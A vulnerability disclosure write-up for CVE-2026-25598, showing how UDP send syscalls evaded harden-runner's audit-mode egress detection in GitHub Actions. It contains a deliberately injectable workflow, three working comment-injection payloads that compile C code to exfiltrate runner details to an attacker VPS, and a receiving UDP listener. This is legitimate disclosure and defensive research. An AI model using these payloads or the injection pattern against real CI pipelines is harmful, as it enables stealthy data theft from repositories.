[CVE-2026-25598] Bypassing Outbound Connections Detection in harden-runner

Table of Contents
Intro Lore
GitHub Actions have become a prime vector for supply chain attacks, with attackers exploiting workflow misconfigurations to exfiltrate secrets, deploy malware, or pivot to downstream CI/CD pipelines. Notable incidents, such as the widespread compromise of tj-actions/changed-files in March 2025 (which affected over 23,000 repositories and leaked secrets via modified action versions) highlight this risk.
Ephemeral runners can leak sensitive data if outbound traffic is not tightly controlled. Egress traffic—outbound connections from workflows—remains a significant blind spot, enabling data theft through techniques such as DNS tunneling, HTTP beacons, or raw socket communication.
To mitigate these threats, the ecosystem has spawned specialized GitHub Actions focused on runner hardening. We will discuss about one such action i.e. Step Security's harden-runner
It is a widely adopted CI/CD security agent that functions similarly to an endpoint detection and response (EDR) tool for GitHub Actions runners. It monitors network egress, enforces domain/IP allowlists, audits file integrity, and detects process anomalies in real time, including in untrusted workflows triggered by pull requests or issue comments.
Tools like these often utilize eBPF hooks or iptables to enforce network policies at runtime. They aim to provide "set-it-and-forget-it" protection by detecting and preventing exfiltration attempts.
These controls are particularly valuable in public repositories or environments where third-party actions and untrusted contributions introduce elevated risk.
Harden-runner monitors outbound connections through network syscalls. Most tools and commands trigger detectable patterns. But UDP, with its connectionless nature, presented an interesting attack surface. some UDP syscalls behave differently enough that they fall outside the monitoring scope.
What follows are three practical techniques that exploited this gap.
Note: This vulnerability only affected audit mode. When using egress-policy: block, these connections are properly blocked. It requires the attacker to already have code execution capabilities within the GitHub Actions workflow (e.g., through workflow injection or compromised dependencies)
Affected Versions
- Harden-Runner Community Tier: All versions prior to v2.14.2
- Harden-Runner Enterprise Tier: NOT AFFECTED
Vulnerabilities
Bypass using sendto
A minimal PoC for demonstrating how to evade harden-runner and make outbound connections + exfil data
Steps to reproduce
1- Set up a GitHub repo with the following workflow:
name: Process Issue Comment
on:
issue_comment:
types: [created]
jobs:
process-comment:
runs-on: ubuntu-latest
steps:
- name: Harden Runner
uses: step-security/harden-runner@c6295a65d1254861815972266d5933fd6e532bdf # v2.11.1
with:
egress-policy: audit
- name: Process comment body
run: |
echo "Processing comment: ${{ github.event.comment.body }}"
- name: Making a few outbound connections
run: |
dig example.com
curl google.com
- name: Display Harden-Runner Summary
if: always()
run: |
echo "Check the workflow logs and Harden-Runner summary for detection alerts."
2- Spin up a VPS, obtain public IPv4
3- Run the following Python UDP Server
import socket
import sys
import datetime
# Configuration
HOST = '0.0.0.0' # Listen on all interfaces
PORT = 1053 # Change to 53 if using standard DNS (requires root or capabilities)
def log_packet(data, addr):
timestamp = datetime.datetime.now().isoformat()
print(f"[{timestamp}] Received packet from {addr}:")
print(f" Length: {len(data)} bytes")
print(f" Hex dump: {data.hex()}")
print(f" ASCII: {data.decode('utf-8', errors='ignore')}")
# Optional: If expecting DNS query, add simple decoding logic here
if len(data) >= 12 and data[2:4] == b'\x01\x00': # Basic DNS query flag check
print(" Detected: Likely DNS query")
def main():
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind((HOST, PORT))
print(f"UDP server listening on {HOST}:{PORT}...")
try:
while True:
data, addr = sock.recvfrom(1024) # Buffer size for typical DNS packets
log_packet(data, addr)
except KeyboardInterrupt:
print("\nServer stopped.")
finally:
sock.close()
if __name__ == "__main__":
main()
python3 udp_server.py

4- Open a Issue in the repository, and add the following comment:
"; printf '#include <sys/socket.h>\n#include <arpa/inet.h>\n#include <unistd.h>\n#include <sys/utsname.h>\nint main(){int s=socket(2,2,0);struct sockaddr_in a={2,htons(1053)};inet_pton(2,"YOUR_VPS_IP_HERE",&a.sin_addr);char n[64],b[128];struct utsname u;gethostname(n,64);uname(&u);snprintf(b,128,"R:%%s,O:%%s %%s",n,u.sysname,u.release);sendto(s,b,strlen(b),0,(struct sockaddr*)&a,28);}\n' > u.c && gcc -o u u.c && ./u #
Note: Replace
YOUR_VPS_IP_HEREwith your VPS IP address (where UDP listener is running)
5- Runner name and OS version will be exfiltrated to your VPS's UDP listener

6- No outbound connection to your VPS will be detected by StepSecurity

How it works?
The payload uses printf to output a complete, compilable C source file to u.c, which is then compiled with gcc and executed. The generated source code is as follows (with minor formatting for clarity):
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <sys/utsname.h>
int main() {
int s = socket(2, 2, 0); // AF_INET (2), SOCK_DGRAM (2), IPPROTO_UDP (0)
struct sockaddr_in a = {2, htons(1053)};
inet_pton(2, "YOUR_VPS_IP_HERE", &a.sin_addr);
char n[64], b[128];
struct utsname u;
gethostname(n, 64);
uname(&u);
snprintf(b, 128, "R:%s,O:%s %s", n, u.sysname, u.release);
sendto(s, b, strlen(b), 0, (struct sockaddr*)&a, 28); // 28 = sizeof(sockaddr_in) + padding
}
What it does?
- Creates a UDP socket.
- Prepares a destination address structure for the specified IP and port 1053.
- Collects system details using
gethostnameanduname. - Formats a message (e.g., "R:hostname,O:Linux 5.15.0").
- Sends the message via
sendtowithout establishing a connection.
Bypass using sendmsg
"; printf '#include <sys/socket.h>\n#include <arpa/inet.h>\n#include <unistd.h>\n#include <sys/utsname.h>\n#include <stdio.h>\n#include <string.h>\nint main(){int s=socket(2,2,0);struct sockaddr_in a={2,htons(1053)};inet_pton(2,"VPS_IP_ADDRESS",&a.sin_addr);char n[64],b[128];struct utsname u;gethostname(n,64);uname(&u);snprintf(b,128,"R:%%s,O:%%s %%s",n,u.sysname,u.release);struct iovec i={b,strlen(b)};struct msghdr m={&a,sizeof(a),&i,1,0,0,0};sendmsg(s,&m,0);}\n' > u.c && gcc -o u u.c && ./u #"


How it works?
The payload executes a shell command that leverages printf to generate a complete, compilable C source file and redirect it to u.c. This file is subsequently compiled using gcc into an executable named u, which is then run immediately. The generated source code is as follows (with minor formatting for clarity):
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <sys/utsname.h>
#include <stdio.h>
#include <string.h>
int main() {
int s = socket(2, 2, 0); // AF_INET (2), SOCK_DGRAM (2), IPPROTO_UDP (0)
struct sockaddr_in a = {2, htons(1053)};
inet_pton(2, "VPS_IP_HERE", &a.sin_addr);
char n[64], b[128];
struct utsname u;
gethostname(n, 64);
uname(&u);
snprintf(b, 128, "R:%s,O:%s %s", n, u.sysname, u.release);
struct iovec i = {b, strlen(b)};
struct msghdr m = {&a, sizeof(a), &i, 1, 0, 0, 0};
sendmsg(s, &m, 0);
}
What it does?
- Creates a UDP socket.
- Prepares a destination address structure for the specified IP and port 1053.
- Collects system details using
gethostnameanduname. - Formats a message (e.g., "R:hostname,O:Linux 5.15.0").
- Sends the message via
sendmsgusing anmsghdrandiovecstructure without establishing a connection.
Bypass using sendmmsg
"; printf '#define _GNU_SOURCE\n#include <sys/socket.h>\n#include <arpa/inet.h>\n#include <unistd.h>\n#include <sys/utsname.h>\n#include <stdio.h>\n#include <string.h>\nint main(){int s=socket(2,2,0);struct sockaddr_in a={2,htons(1053)};inet_pton(2,"VPS_IP_HERE",&a.sin_addr);char n[64],b[128];struct utsname u;gethostname(n,64);uname(&u);snprintf(b,128,"R:%%s,O:%%s %%s",n,u.sysname,u.release);struct iovec iov={b,strlen(b)};struct msghdr msg={&a,sizeof(a),&iov,1,NULL,0,0};struct mmsghdr mmsg={.msg_hdr=msg,.msg_len=0};sendmmsg(s,&mmsg,1,0);close(s);}\n' > u.c && gcc -o u u.c && ./u #"


How it works?
The payload executes a shell command that leverages printf to generate a complete, compilable C source file and redirect it to u.c. This file is subsequently compiled using gcc into an executable named u, which is then run immediately. The generated source code requires _GNU_SOURCE for sendmmsg support and is as follows (with minor formatting for clarity):
#define _GNU_SOURCE
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <sys/utsname.h>
#include <stdio.h>
#include <string.h>
int main() {
int s = socket(2, 2, 0); // AF_INET (2), SOCK_DGRAM (2), IPPROTO_UDP (0)
struct sockaddr_in a = {2, htons(1053)};
inet_pton(2, "VPS_IP_HERE", &a.sin_addr);
char n[64], b[128];
struct utsname u;
gethostname(n, 64);
uname(&u);
snprintf(b, 128, "R:%s,O:%s %s", n, u.sysname, u.release);
struct iovec iov = {b, strlen(b)};
struct msghdr msg = {&a, sizeof(a), &iov, 1, NULL, 0, 0};
struct mmsghdr mmsg = {.msg_hdr = msg, .msg_len = 0};
sendmmsg(s, &mmsg, 1, 0);
close(s);
}
What it does?
- Creates a UDP socket.
- Prepares a destination address structure for the specified IP and port 1053.
- Collects system details using
gethostnameanduname. - Formats a message (e.g., "R:hostname,O:Linux 5.15.0").
- Sends the message via
sendmmsgusing anmmsghdrstructure (wrapping a singlemsghdrwithiovec) without establishing a connection; designed for batch sending but used here for one message. - Closes the socket.
Closing Thoughts
These bypasses highlight a fundamental challenge in CI/CD security monitoring, the gap between what tools observe and what the underlying system permits. While harden-runner effectively monitors common network patterns through standard syscalls like connect() and high-level APIs, the raw socket interface—particularly UDP's connectionless syscalls presented a harder detection problem.
The three techniques demonstrated (sendto, sendmsg, and sendmmsg) exploit this blind spot not through sophisticated evasion, but by leveraging legitimate kernel interfaces that fall outside the monitoring scope.
Key Takeaways:
- Audit mode has inherent limitations: These bypasses only affect audit mode. The block mode properly prevents these connections, reinforcing that enforcement is more effective than observation alone.
- UDP monitoring is harder than TCP: The connectionless nature of UDP means there's no "connection establishment" phase to hook into, making detection more challenging.
GitHub Advisory: CVE-2026-25598
The vulnerability has been patched in harden-runner v2.14.2 for the Community Tier.